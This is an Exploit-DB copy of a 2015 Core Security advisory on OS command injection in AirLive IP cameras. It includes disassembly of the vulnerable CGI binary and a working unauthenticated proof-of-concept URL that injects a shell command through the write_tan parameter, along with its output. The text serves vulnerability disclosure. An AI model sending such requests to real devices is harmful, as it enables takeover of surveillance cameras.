Exploit-DB #37532
Description: AirLive (Multiple Products) - OS Command Injection
Type: webapps
Platform: hardware
Date: 2015-07-08
Author: Core Security

Exploit:
1. Advisory Information

Title: AirLive Multiple Products OS Command Injection
Advisory ID: CORE-2015-0012
Advisory URL: http://www.coresecurity.com/advisories/airlive-multiple-products-os-command-injection
Date published: 2015-07-06
Date of last update: 2015-07-06
Vendors contacted: AirLive
Release mode: User release


2. Vulnerability Information

Class: OS Command Injection [CWE-78], OS Command Injection [CWE-78]
Impact: Code execution
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2015-2279, CVE-2014-8389



3. Vulnerability Description

AirLive MD-3025 [3], BU-3026 [4], BU-2015 [2], WL-2000CAM [5] and POE-200CAM [6] are IP cameras designed for professional surveillance and security applications. The built-in IR LEDs provide high quality nighttime monitoring.

These AirLive [1] devices are vulnerable to an OS Command Injection Vulnerability. In the case of the MD-3025, BU-3026 and BU-2015 cameras, the vulnerability lies in the cgi_test.cgi binary file. In the case of the WL-2000CAM and POE-200CAM cameras, the command injection can be performed using the vulnerable wireless_mft.cgi binary file.


4. Vulnerable Packages

AirLive BU-2015 with firmware 1.03.18 16.06.2014
AirLive BU-3026 with firmware 1.43 21.08.2014
AirLive MD-3025 with firmware 1.81 21.08.2014
AirLive WL-2000CAM with firmware LM.1.6.18 14.10.2011
AirLive POE-200CAM v2 with firmware LM.1.6.17.01
Other devices may be affected too, but they were not checked.


5. Vendor Information, Solutions and Workarounds

Core Security recommends to apply a WAF (Web Application Firewall) rule that would filter the vulnerable request (either the CGI file or the parameters where the injection is performed) in order to avoid exploitation.

Contact the vendor for further information.


6. Credits

These vulnerabilities were discovered and researched by Nahuel Riva from Core Security Exploit Writing Team. The publication of this advisory was coordinated by Joaquin Rodriguez Varela from Core Security Advisories Team.


7. Technical Description / Proof of Concept Code

7.1. OS Command Injection in cgi_test.cgi when handling certain parameters

[CVE-2015-2279] There is an OS Command Injection in the cgi_test.cgi binary file in the AirLive MD-3025, BU-3026 and BU-2015 cameras when handling certain parameters. That specific CGI file can be requested without authentication, unless the user specified in the configuration of the camera that every communication should be performed over HTTPS (not enabled by default).

The vulnerable parameters are the following:

 
write_mac
write_pid
write_msn
write_tan
write_hdv
These parameters are used to invoke another binary file called "info_writer".

In the sub_93F4 function it uses the "QUERY_STRING" and checks if it contains any of the parameters followed by an ampersand symbol:

 
sub_93F4
STMFD           SP!, {R4-R7,LR}
LDR             R0, =aQuery_string ; "QUERY_STRING"
SUB             SP, SP, #4
BL              getenv
MOV             R1, #0  ; c
MOV             R2, #0x12 ; n
MOV             R6, R0
LDR             R0, =unk_14B70 ; s
BL              memset
LDR             R0, =aContentTypeTex ; "Content-type: text/html\n\n<body>"
BL              printf
MOV             R5, #0
LDR             R7, =off_B7D0
MOV             R4, R5
B               loc_943C
[...]
loc_9540                ; jumptable 00009470 case 7
MOV             R0, R6
LDR             R1, =aWrite_pid ; "write_pid&"
BL              strstr
CMP             R0, #0
BEQ             loc_94CC ; jumptable 00009470 default case
[...]
 
It then uses whatever appears after the ampersand symbol in a call to printf() in order to put together the parameter with which the "info_writer" binary will be invoked. Finally, it calls the system() function:

 
[...]
.text:00009730 loc_9730                                ; CODE XREF: .text:00009714j
.text:00009730                 MOV             R2, R5
.text:00009734                 LDR             R1, =aOptIpncInfo__1 ; "/opt/ipnc/info_writer -p %s > /dev/null"
.text:00009738                 MOV             R0, SP
.text:0000973C                 BL              sprintf
.text:00009740                 MOV             R0, SP
.text:00009744                 BL              system
.text:00009748                 MOV             R2, R5
.text:0000974C                 LDR             R1, =aWrite_pidOkPid ; "WRITE_PID OK, PID=%s\r\n"
.text:00009750                 LDR             R0, =unk_1977C
.text:00009754                 MOV             R4, SP
.text:00009758                 BL              sprintf
.text:0000975C                 B               loc_9728
[...]
 
Consequently, if a semicolon (;) is used after the ampersand symbol, arbitrary commands can be injected into the operating system.

It's important to take into account that depending on the parameter used, there are checks like this (corresponding to the write_pid parameter):

 
.text:00009708                 MOV             R0, R5
.text:0000970C                 BL              strlen
.text:00009710                 CMP             R0, #9
 
This verifies that the parameter has a specific length. Because of this, the injection is somewhat limited. Nevertheless, there are possible commands that can be executed, for example:

 
Proof of Concept:

http://<Camera-IP>:8080/cgi_test.cgi?write_tan&;ls&ls%20-la


PoC Output:

Write MAC address, model name, hw version, sn, tan, pid,firmware version
 
  -c => set system MAC address
  -m [MAC] => write MAC address
  -n [Model Name] => write Model Name
  -h [HW Version] => write HW Version
  -v [Firmware Version] => write Firmware Version
  -s [SN] => write SN
  -t [TAN] => write TAN
  -d [PID] => write PID
  -r [CR] => write Country Region
  -p => show current info.
 
Content-type: text/html
 
<body>WRITE_TAN OK, PID=;ls&ls%20-
</body></html>3g.htm
485.htm
SStreamVid